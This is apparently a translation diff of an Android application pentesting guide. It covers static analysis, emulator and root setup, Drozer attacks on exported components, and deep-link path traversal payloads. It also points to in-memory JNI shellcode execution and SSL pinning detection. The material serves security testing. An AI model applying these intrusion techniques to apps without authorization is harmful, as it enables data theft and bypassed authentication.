post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)에 따르면 superpacked는 애플리케이션의 내용을 하나의 파일로 압축하는 Meta 알고리즘이다. 블로그는 이런 종류의 앱을 압축 해제하는 앱을 만드는 가능성에 대해 이야기한다... 그리고 더 빠른 방법으로는 **애플리케이션을 실행하고 파일시스템에서 압축 해제된 파일을 수집하는 것**이 있다. +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### Automated Static Code Analysis +### 자동화된 정적 코드 분석 -도구 [**mariana-trench**](https://github.com/facebook/mariana-trench)는 애플리케이션의 **코드**를 **스캔**하여 **취약점(vulnerabilities)** 을 찾을 수 있다. 이 도구는 **known sources**(사용자가 제어하는 **입력(input)** 이 위치하는 **지점**을 도구에 알려주는 것), **sinks**(악의적인 사용자 입력이 피해를 줄 수 있는 **위험한 지점**) 및 **rules**의 집합을 포함한다. 이러한 규칙들은 취약점을 나타내는 **sources-sinks 조합**을 지정한다. +툴 [**mariana-trench**](https://github.com/facebook/mariana-trench)는 애플리케이션의 코드를 **스캔**하여 **취약점**을 찾아낼 수 있습니다. 이 도구는 일련의 **known sources**(사용자가 제어하는 **입력**이 어디인지 도구에 알려주는), **sinks**(악의적 입력이 피해를 줄 수 있는 **위험한 지점**을 도구에 알려주는) 및 **rules**를 포함합니다. 이러한 규칙들은 취약점을 나타내는 **sources-sinks 조합**을 지정합니다. -이 지식을 바탕으로 **mariana-trench**는 코드를 검토하고 잠재적인 취약점을 찾아낼 것이다. +이 지식을 바탕으로 **mariana-trench는 코드를 검토하여 잠재적 취약점을 찾아냅니다**. ### Secrets leaked -애플리케이션 내부에 API 키, 비밀번호, 숨겨진 URL, 서브도메인 등과 같은 secrets가 포함되어 있을 수 있으며 이를 발견할 수 있다. 다음과 같은 도구를 사용할 수 있다: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,181 +216,188 @@ Xamarin 애플리케이션의 C# 코드에 쉽게 접근하는 방법을 배우 bypass-biometric-authentication-android.md {{#endref}} -### Other interesting functions +### 기타 흥미로운 기능 -- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` -- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +- **코드 실행**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **SMS 전송**: `sendTextMessage, sendMultipartTestMessage` +- **Native 함수들** 선언: `public native, System.loadLibrary, System.load` +- [이 문서를 읽어 **how to reverse native functions**를 알아보세요](reversing-native-libraries.md) +- JNI를 통한 메모리 상의 native 코드 실행 (downloaded shellcode → mmap/mprotect → call): + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} ### **Other tricks** {{#ref}} content-protocol.md -{{#endref}} +{{#endref} --- --- -## Dynamic Analysis +## 동적 분석 -> 먼저, 애플리케이션과 환경(Burp CA cert, Drozer 및 Frida 등)을 설치할 수 있는 환경이 필요하다. 따라서 루팅된 기기(에뮬레이터든 실제든)가 강력히 추천된다. +> 무엇보다도 애플리케이션과 필요한 환경(Burp CA cert, Drozer 및 Frida 등)을 설치할 수 있는 환경이 필요합니다. 따라서 루팅된 기기(에뮬레이터 포함)를 사용하는 것을 강력히 권장합니다. -### Online Dynamic analysis +### 온라인 동적 분석 -[https://appetize.io/](https://appetize.io/)에서 **무료 계정**을 만들 수 있다. 이 플랫폼은 APK를 **업로드**하고 **실행**할 수 있게 해 주므로 APK가 어떻게 동작하는지 확인하는 데 유용하다. +다음에서 **free account**를 만들 수 있습니다: [https://appetize.io/](https://appetize.io). 이 플랫폼은 APK를 **업로드**하고 **실행**할 수 있게 해주므로 APK가 어떻게 동작하는지 확인하는 데 유용합니다. -웹에서 애플리케이션의 로그를 **볼 수 있고** adb로 연결할 수도 있다. +웹에서 애플리케이션의 **로그를 볼 수** 있고 **adb**로 연결할 수도 있습니다. ![](<../../images/image (831).png>) -ADB 연결 덕분에 에뮬레이터 내부에서 **Drozer**와 **Frida**를 사용할 수 있다. +ADB 연결 덕분에 에뮬레이터 내에서 **Drozer**와 **Frida**를 사용할 수 있습니다. -### Local Dynamic Analysis +### 로컬 동적 분석 -#### Using an emulator +#### 에뮬레이터 사용 -- [**Android Studio**](https://developer.android.com/studio) (x86 및 arm 디바이스를 생성할 수 있으며, [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**에 따르면 최신 x86** 버전은 느린 arm 에뮬레이터가 없어도 **ARM 라이브러리**를 지원한다.) -- 이 페이지에서 설정하는 법을 배우라: +- [**Android Studio**](https://developer.android.com/studio) (x86 및 arm 디바이스를 생성할 수 있으며, [**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)에 따르면 최신 **x86** 버전은 느린 arm 에뮬레이터 없이 **ARM 라이브러리**를 지원합니다). +- 설정 방법은 다음 페이지를 참고하세요: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, 계정 생성 필요. _잠재적 오류를 피하려면_ _**VirtualBox 포함**_ 버전을 **다운로드**하는 것이 권장된다._) -- [**Nox**](https://es.bignox.com) (무료, 하지만 Frida나 Drozer는 지원하지 않음). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, 계정 생성 필요. _잠재적 오류를 피하려면 **VirtualBox** 포함 버전을 **다운로드**하는 것이 권장됩니다._) +- [**Nox**](https://es.bignox.com) (무료지만 Frida나 Drozer를 지원하지 않습니다). > [!TIP] -> 어떤 플랫폼에서 새 에뮬레이터를 생성할 때 화면이 클수록 에뮬레이터가 느려진다. 가능한 경우 작은 화면을 선택하라. +> 새로운 에뮬레이터를 만들 때 화면이 클수록 에뮬레이터가 느려지므로 가능하면 작은 화면을 선택하세요. -Genymotion에서 Google 서비스(예: AppStore)를 설치하려면 다음 이미지의 빨간 표시된 버튼을 클릭해야 한다: +Genymotion에 **google services**(예: AppStore)를 설치하려면 다음 이미지의 빨간 표시된 버튼을 클릭해야 합니다: ![](<../../images/image (277).png>) -또한 **Genymotion의 Android VM 설정**에서 **Bridge Network mode**를 선택할 수 있는데(이것은 다른 VM에서 도구로 Android VM에 연결할 경우 유용하다) 이를 확인하라. +또한 Genymotion의 **Android VM 구성**에서 **Bridge Network mode**를 선택할 수 있다는 점에 유의하세요(다른 VM에서 도구로 Android VM에 연결할 때 유용합니다). -#### Use a physical device +#### 실기기 사용 -디버깅 옵션을 활성화해야 하며, 가능하다면 **root**하는 것이 좋다: +디버깅 옵션을 활성화해야 하며 가능하면 **root**하는 것이 좋습니다: 1. **Settings**. 2. (FromAndroid 8.0) Select **System**. 3. Select **About phone**. 4. Press **Build number** 7 times. -5. Go back and you will find the **Developer options**. +5. 뒤로 가면 **Developer options**를 찾을 수 있습니다. -> 애플리케이션을 설치한 후 가장 먼저 해야 할 일은 앱을 실행해 무엇을 하는지, 어떻게 동작하는지 조사하여 익숙해지는 것이다.\ -> 초기 동적 분석은 MobSF dynamic analysis + pidcat를 사용해 수행할 것을 권장한다. 이렇게 하면 MobSF가 나중에 검토할 수 있는 많은 **흥미로운 데이터**를 캡처하는 동안 애플리케이션의 동작을 학습할 수 있다. +> 애플리케이션을 설치한 후 가장 먼저 해야 할 일은 그것을 사용해보고 무엇을 하는지, 어떻게 동작하는지 파악하여 익숙해지는 것입니다.\ +> 저는 이 초기 동적 분석을 **MobSF dynamic analysis + pidcat**으로 수행할 것을 권합니다. 이렇게 하면 MobSF가 나중에 검토할 수 있는 많은 **흥미로운 데이터**를 캡처하는 동안 애플리케이션의 동작을 학습할 수 있습니다. Magisk/Zygisk quick notes (recommended on Pixel devices) -- Magisk 앱으로 boot.img를 패치하고 fastboot로 플래시하여 systemless root를 얻는다 -- Zygisk + DenyList를 활성화하여 루트 숨기기를 수행; 더 강한 숨김이 필요하면 LSPosed/Shamiko 고려 -- OTA 업데이트에서 복구할 수 있도록 원본 boot.img를 보관; OTA 후 재패치 필요 -- 화면 미러링은 호스트에서 scrcpy 사용 +- Magisk 앱으로 boot.img를 패치하고 fastboot로 플래시하여 systemless root를 얻으세요 +- root 숨김을 위해 Zygisk + DenyList를 활성화하세요; 더 강한 숨김이 필요하면 LSPosed/Shamiko를 고려하세요 +- OTA 업데이트에서 복구할 수 있도록 원본 boot.img를 보관하세요; OTA 후에는 다시 패치하세요 +- 화면 미러링은 호스트에서 scrcpy를 사용하세요 + + ### Unintended Data Leakage -**Logging** +**로깅** -개발자는 **디버깅 정보**를 공개적으로 노출하지 않도록 주의해야 한다. 이는 민감한 데이터 유출로 이어질 수 있다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 도구 [**pidcat**](https://github.com/JakeWharton/pidcat)와 `adb logcat`를 권장한다. **Pidcat**은 사용 편의성과 가독성 때문에 선호된다. +개발자는 **debugging information**을 공개적으로 노출하지 않도록 주의해야 하며, 이는 민감한 데이터 leak로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat)와 `adb logcat`을 권장합니다. **Pidcat**은 사용 편의성과 가독성 때문에 선호됩니다. > [!WARNING] -> Android 4.0보다 **이후 버전부터는**, **애플리케이션은 자신의 로그만 접근할 수 있다**는 점을 유의하라. 따라서 앱은 다른 앱의 로그에 접근할 수 없다.\ -> 어쨌든, 민감한 정보를 로그에 남기지 않는 것이 여전히 권장된다. +> Android 4.0 이후 버전부터 **applications are only able to access their own logs**. 따라서 애플리케이션은 다른 앱의 로그에 접근할 수 없습니다.\ +> 어쨌든 민감한 정보를 로그로 남기지 않는 것이 권장됩니다. -**Copy/Paste Buffer Caching** +**복사/붙여넣기 버퍼 캐싱** -Android의 **클립보드 기반** 프레임워크는 앱 간 복사-붙여넣기 기능을 제공하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있다. 신용카드 정보와 같이 민감한 섹션에서는 복사/붙여넣기 기능을 비활성화하는 것이 중요하다. +Android의 **clipboard-based** 프레임워크는 앱에서 복사·붙여넣기 기능을 가능하게 하지만, 다른 애플리케이션이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용카드 정보와 같은 민감한 섹션에서는 복사/붙여넣기 기능을 비활성화하는 것이 중요합니다. -**Crash Logs** +**크래시 로그** -애플리케이션이 **크래시**하여 로그를 저장하면, 특히 애플리케이션을 리버스 엔지니어링할 수 없을 때 공격자에게 도움이 될 수 있다. 이를 완화하려면 크래시 시 로깅을 피하고, 로그를 네트워크로 전송해야 한다면 SSL 채널을 통해 전송하도록 하라. +애플리케이션이 크래시하여 로그를 저장하면, 특히 애플리케이션을 리버스엔지니어링할 수 없을 때 이러한 로그는 공격자에게 도움이 될 수 있습니다. 이 위험을 완화하려면 크래시 시 로그를 남기지 말고, 네트워크로 로그를 전송해야 하는 경우 SSL 채널로 전송되도록 보장하세요. -As pentester, **try to take a look to these logs**. +Pentester로서, **이 로그들을 확인해 보세요**. -**Analytics Data Sent To 3rd Parties** +**3자에게 전송되는 분석 데이터** -애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하는데, 개발자의 잘못된 구현으로 인해 민감한 데이터가 **leak**될 수 있다. 잠재적 데이터 누수를 식별하려면 애플리케이션의 트래픽을 가로채고 제3자 서비스로 전송되는 민감한 정보가 있는지 확인하는 것이 바람직하다. +애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하는데, 개발자의 부적절한 구현으로 인해 민감한 데이터가 의도치 않게 **leak**될 수 있습니다. 잠재적인 데이터 누수를 식별하려면 애플리케이션의 트래픽을 **가로채서** 서드파티 서비스로 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다. ### SQLite DBs -대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용한다. 펜테스트 중에는 생성된 **데이터베이스**, **테이블** 및 **컬럼 이름**, 그리고 저장된 모든 **데이터**를 살펴보라. 민감한 정보를 찾을 수 있으며 이는 취약점이 될 수 있다.\ -데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 한다(예: `/data/data/com.mwr.example.sieve/databases`). +대부분의 애플리케이션은 정보를 저장하기 위해 **internal SQLite databases**를 사용합니다. 펜테스트 중에는 생성된 **데이터베이스**, **테이블** 및 **컬럼** 이름과 저장된 모든 **데이터**를 확인하세요. 민감한 정보가 발견될 수 있습니다(이는 취약점입니다).\ +데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 합니다. 예: `/data/data/com.mwr.example.sieve/databases` -만약 데이터베이스가 기밀 정보를 저장하는데 **암호화되어 있고**, 그 암호를 애플리케이션 내부에서 **찾을 수 있다면** 이것은 여전히 **취약점**이다. +데이터베이스가 기밀 정보를 저장하고 **암호화되어 있더라도** 애플리케이션 내부에서 **password**를 찾을 수 있다면 이는 여전히 **vulnerability**입니다. -테이블을 열거하려면 `.tables`를 사용하고, 테이블의 컬럼을 나열하려면 `.schema `을 사용하라. +`.tables`로 테이블을 나열하고 `.schema `로 테이블의 컬럼을 나열하세요. ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 가정하고 다른 앱과 상호작용할 수 있게 해준다. 설치된 애플리케이션이 할 수 있는 모든 것을 수행할 수 있으며, Android의 Inter-Process Communication(IPC) 메커니즘을 사용하고 기본 운영체제와 상호작용할 수 있다.\ -Drozer는 export된 activities, export된 services 및 Content Providers를 **exploit**하는 데 유용한 도구이며, 다음 섹션에서 이를 배우게 될 것이다. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **앱의 역할을 가정**하여 다른 앱과 상호작용할 수 있게 해줍니다. 설치된 애플리케이션이 할 수 있는 모든 작업(예: Android의 Inter-Process Communication(IPC) 메커니즘 사용 및 기본 운영체제와의 상호작용)을 수행할 수 있습니다.\ +Drozer는 **exported activities, exported services 및 Content Providers를 exploit**하는 데 유용한 도구이며, 이는 다음 섹션에서 배울 수 있습니다. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -또한 activity의 코드는 **`onCreate`** 메서드에서 시작된다는 것을 기억하라. +또한 액티비티의 코드는 **`onCreate`** 메서드에서 시작된다는 점을 기억하세요. **Authorisation bypass** -Activity가 export되어 있으면 외부 앱에서 해당 화면을 호출할 수 있다. 따라서 **민감한 정보**를 가진 액티비티가 **exported** 되어 있다면 인증 메커니즘을 **bypass**하여 접근할 수 있다. +Activity가 exported되어 있을 때 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **sensitive information**을 포함한 액티비티가 **exported**되어 있다면 인증 메커니즘을 **bypass**하여 접근할 수 있습니다. [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -다음과 같이 adb에서 export된 activity를 시작할 수도 있다: +또한 adb에서 exported activity를 시작할 수 있습니다: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**참고**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**참고**: MobSF는 액티비티에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용하는 것을 악성으로 감지하지만, [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다. > [!TIP] -> 권한 우회(authorisation bypass)가 항상 취약점은 아니며, 우회 방식과 어떤 정보가 노출되는지에 따라 달라집니다. +> authorisation bypass가 항상 취약점인 것은 아니며, 우회 방식과 어떤 정보가 노출되는지에 따라 달라집니다. **민감한 정보 누출** -Activities can also return results. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. +액티비티는 결과를 반환할 수도 있습니다. export되어 있고 보호되지 않은 액티비티가 **`setResult`** 메서드를 호출하며 **민감한 정보를 반환**하는 것을 찾으면, 민감한 정보 누출이 발생합니다. #### Tapjacking -If tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking). +Tapjacking이 방지되지 않으면 export된 액티비티를 악용해 **사용자가 예기치 않은 동작을 수행하도록 만들 수 있습니다**. Tapjacking에 대한 자세한 내용은 [**Tapjacking이 무엇인지 보려면 링크를 따르세요**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information -[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable. +[**Content Provider가 무엇인지 새로 확인하고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider) +Content provider는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 content provider가 존재하면 거기서 **민감한 데이터를 추출**할 수 있습니다. 또한 잠재적 취약점으로 **SQL injections** 및 **Path Traversals**을 테스트해보는 것도 흥미롭습니다. -[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) +[**Drozer로 Content Providers를 악용하는 방법 배우기.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -Remember that a the actions of a Service start in the method `onStartCommand`. +[**Service가 무엇인지 다시 확인하고 싶다면 읽어보세요.**](android-applications-basics.md#services) +Service의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요. -서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 (응답을) **반환**할 수 있습니다. 따라서 애플리케이션이 일부 서비스를 export하고 있다면 무엇을 하는지 이해하기 위해 **코드**를 **확인**하고 기밀 정보를 추출하거나 인증 우회를 시도하기 위해 **동적으로** **테스트**해야 합니다.\ -[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) +서비스는 기본적으로 데이터를 **수신**, **처리**하고 **반환**(또는 반환하지 않음)할 수 있습니다. 따라서 앱이 일부 서비스를 export하고 있다면 무엇을 하는지 이해하기 위해 **코드**를 **검토**하고, 기밀 정보를 추출하거나 인증 수단을 우회하기 위해 **동적으로** 테스트해보아야 합니다. +[**Drozer로 서비스 악용 방법 배우기.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. +[**Broadcast Receiver가 무엇인지 다시 확인하고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers) +Broadcast Receiver의 동작은 `onReceive` 메서드에서 시작된다는 점을 기억하세요. -브로드캐스트 리시버는 특정 타입의 메시지를 기다립니다. 리시버가 메시지를 처리하는 방식에 따라 취약해질 수 있습니다.\ -[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) +브로드캐스트 리시버는 특정 유형의 메시지를 기다립니다. 리시버가 메시지를 처리하는 방식에 따라 취약할 수 있습니다. +[**Drozer로 Broadcast Receiver 악용 방법 배우기.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -You can **open** a declared **scheme** using **adb** or a **browser**: +MobSF 같은 도구나 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 같은 스크립트를 사용해 딥 링크를 수동으로 찾을 수 있습니다. +선언된 **scheme**은 **adb**나 **브라우저**로 열 수 있습니다: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_참고로 패키지 이름을 **생략할 수 있으며**, 모바일이 해당 링크를 열 앱을 자동으로 호출합니다._ +_참고로 **패키지 이름을 생략할 수 있으며** 모바일이 해당 링크를 열 앱을 자동으로 호출합니다._ ```html Click me @@ -399,53 +406,53 @@ _참고로 패키지 이름을 **생략할 수 있으며**, 모바일이 해당 ``` **실행되는 코드** -앱에서 **실행될 코드**를 찾으려면 deeplink가 호출하는 activity로 가서 함수 **`onNewIntent`**를 검색하세요. +앱에서 **실행될 코드**를 찾으려면 deeplink에 의해 호출되는 activity로 이동하여 함수 **`onNewIntent`**를 검색하세요. ![](<../../images/image (436) (1) (1) (1).png>) **민감한 정보** -deep link를 찾을 때마다 URL 파라미터를 통해 비밀번호와 같은 **민감한 데이터가 전달되지 않는지 반드시 확인하세요**, 다른 애플리케이션이 해당 deep link를 **가로채어 그 데이터를 훔칠 수 있기 때문입니다!** +deep link를 찾을 때마다 **URL 파라미터를 통해 민감한 데이터(예: passwords)를 수신하지 않는지** 확인하세요. 다른 애플리케이션이 **deep link를 가장해 해당 데이터를 탈취할 수 있습니다!** -**경로의 파라미터** +**경로 내 파라미터** -URL 경로 내부에 파라미터를 사용하는 deep link가 있는지 **반드시 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이런 경우 다음과 같이 path traversal을 강제할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -애플리케이션 내에서 올바른 엔드포인트를 찾으면 경로의 일부가 도메인 이름으로 사용되는 경우 **Open Redirect**를 유발할 수 있고, CSRF 토큰 없이 사용자 정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메소드를 사용했다면 **account takeover** 등을 발생시킬 수 있습니다. 자세한 내용은 [여기](http://dphoeniixx.com/2020/12/13-2/)를 참조하세요. +You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). -**More examples** +**추가 예시** An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). ### 전송 계층 검사 및 검증 실패 -- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data. -- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities. +- **Certificates are not always inspected properly** by Android applications. 이러한 애플리케이션은 경고를 무시하고 자체 서명 인증서를 수용하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, 취약한 cipher suites를 사용하기도 합니다. 이 취약점은 연결을 MITM(man-in-the-middle) 공격에 노출시켜 공격자가 데이터를 복호화할 수 있게 합니다. +- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. 이런 접근은 세션 쿠키나 사용자 세부정보 같은 민감한 데이터를 악의적인 주체가 가로채는 것으로부터 보호하지 못합니다. #### Certificate Verification -우리는 **certificate verification**에 초점을 맞출 것입니다. 서버 인증서의 무결성을 검증하는 것은 보안을 강화하는 데 매우 중요합니다. 불안전한 TLS 구성과 민감한 데이터를 암호화되지 않은 채널로 전송하는 것은 큰 위험을 초래할 수 있습니다. 서버 인증서 검증 및 취약점 대응에 대한 자세한 단계는 [**이 자료**](https://manifestsecurity.com/android-application-security-part-10/)에서 확인할 수 있습니다. +우리는 **certificate verification**에 중점을 둘 것입니다. 보안을 강화하려면 서버 인증서의 무결성을 검증해야 합니다. 이는 insecure TLS 구성과 암호화되지 않은 채널을 통한 민감한 데이터 전송이 심각한 위험을 초래할 수 있기 때문에 매우 중요합니다. 서버 인증서를 검증하고 취약점을 해결하는 자세한 단계는 [**this resource**](https://manifestsecurity.com/android-application-security-part-10/)에서 확인할 수 있습니다. #### SSL Pinning -SSL Pinning은 애플리케이션이 서버의 인증서를 애플리케이션 내부에 저장된 알려진 복사본과 비교하여 검증하는 보안 기법입니다. 이 방법은 MITM 공격을 방지하는 데 필수적입니다. 민감한 정보를 취급하는 애플리케이션에는 SSL Pinning 구현을 강력히 권장합니다. +SSL Pinning은 애플리케이션이 서버의 인증서를 앱 내에 저장된 알려진 복사본과 대조하여 검증하는 보안 방법입니다. 이 방법은 MITM 공격을 방지하는 데 필수적입니다. 민감한 정보를 다루는 애플리케이션에는 SSL Pinning 구현을 강력히 권장합니다. #### Traffic Inspection -HTTP 트래픽을 검사하려면 프록시 도구의 인증서(예: Burp)를 **설치해야** 합니다. 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 보이지 않을 수 있습니다. 커스텀 CA 인증서 설치 가이드는 [**여기**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)를 참조하세요. +HTTP 트래픽을 검사하려면 **프록시 도구의 인증서 설치**(예: Burp)가 필요합니다. 이 인증서를 설치하지 않으면 암호화된 트래픽을 프록시에서 볼 수 없을 수 있습니다. 커스텀 CA 인증서 설치 가이드는 [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)를 참조하세요. -Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. 이 단계는 암호화된 트래픽을 검사할 때 매우 중요합니다. Network Security Config 수정 방법은 [**이 튜토리얼**](make-apk-accept-ca-certificate.md)을 참고하세요. +**API Level 24 and above**를 타깃으로 하는 애플리케이션은 프록시의 CA 인증서를 수용하도록 Network Security Config를 수정해야 합니다. 암호화된 트래픽을 검사하려면 이 단계가 필수적입니다. Network Security Config 수정 방법은 [**refer to this tutorial**](make-apk-accept-ca-certificate.md)를 참고하세요. -If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. +만약 **Flutter**를 사용 중이라면 [**this page**](flutter.md)에 있는 지침을 따라야 합니다. 단순히 인증서를 스토어에 추가하는 것만으로는 동작하지 않을 수 있으며, Flutter는 자체 유효한 CA 목록을 사용하기 때문입니다. #### Static detection of SSL/TLS pinning -런타임 우회를 시도하기 전에 APK에서 pinning이 적용된 위치를 빠르게 매핑하세요. 정적 탐지는 훅/패치 계획을 세우고 올바른 코드 경로에 집중하는 데 도움이 됩니다. +런타임 우회를 시도하기 전에 APK에서 pinning이 적용되는 위치를 빠르게 매핑하세요. 정적 탐지는 훅/패치 계획을 세우고 올바른 코드 경로에 집중하는 데 도움이 됩니다. Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- 오픈소스 정적 분석 유틸리티로 APK를 Smali(apktool 통해)로 디컴파일하고 SSL/TLS pinning 구현의 정제된 정규식 패턴을 스캔합니다. +- 각 매치에 대해 정확한 파일 경로, 라인 번호, 코드 스니펫을 리포트합니다. +- 일반적인 프레임워크와 커스텀 코드 경로를 커버합니다: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, 그리고 Network Security Config XML pins. 설치 - Prereqs: Python >= 3.8, Java on PATH, apktool @@ -462,8 +469,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -예시 패턴 규칙 (JSON) -signatures를 사용하거나 확장하여 독점적/맞춤형 pinning 스타일을 탐지하세요. 자체 JSON을 로드하여 대규모로 scan할 수 있습니다. +예제 패턴 규칙 (JSON) +프로프라이어터리/커스텀 pinning 스타일을 탐지하기 위해 signatures를 사용하거나 확장하세요. 자체 JSON을 로드하여 scan at scale할 수 있습니다. ```json { "OkHttp Certificate Pinning": [ @@ -477,43 +484,43 @@ signatures를 사용하거나 확장하여 독점적/맞춤형 pinning 스타일 ] } ``` -노트 및 팁 -- 대형 앱을 multi-threading과 memory-mapped I/O로 빠르게 스캔; 미리 컴파일된 regex가 오버헤드/오탐을 줄여줌. +Notes and tips +- 대형 앱을 빠르게 스캔하려면 multi-threading 및 memory-mapped I/O를 사용하세요; pre-compiled regex는 오버헤드와 false positives를 줄여줍니다. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- 다음으로 우선 분류할 일반적인 탐지 대상: +- 다음으로 분류할 일반적인 탐지 대상: - OkHttp: CertificatePinner 사용, setCertificatePinner, okhttp3/okhttp 패키지 참조 - Custom TrustManagers: 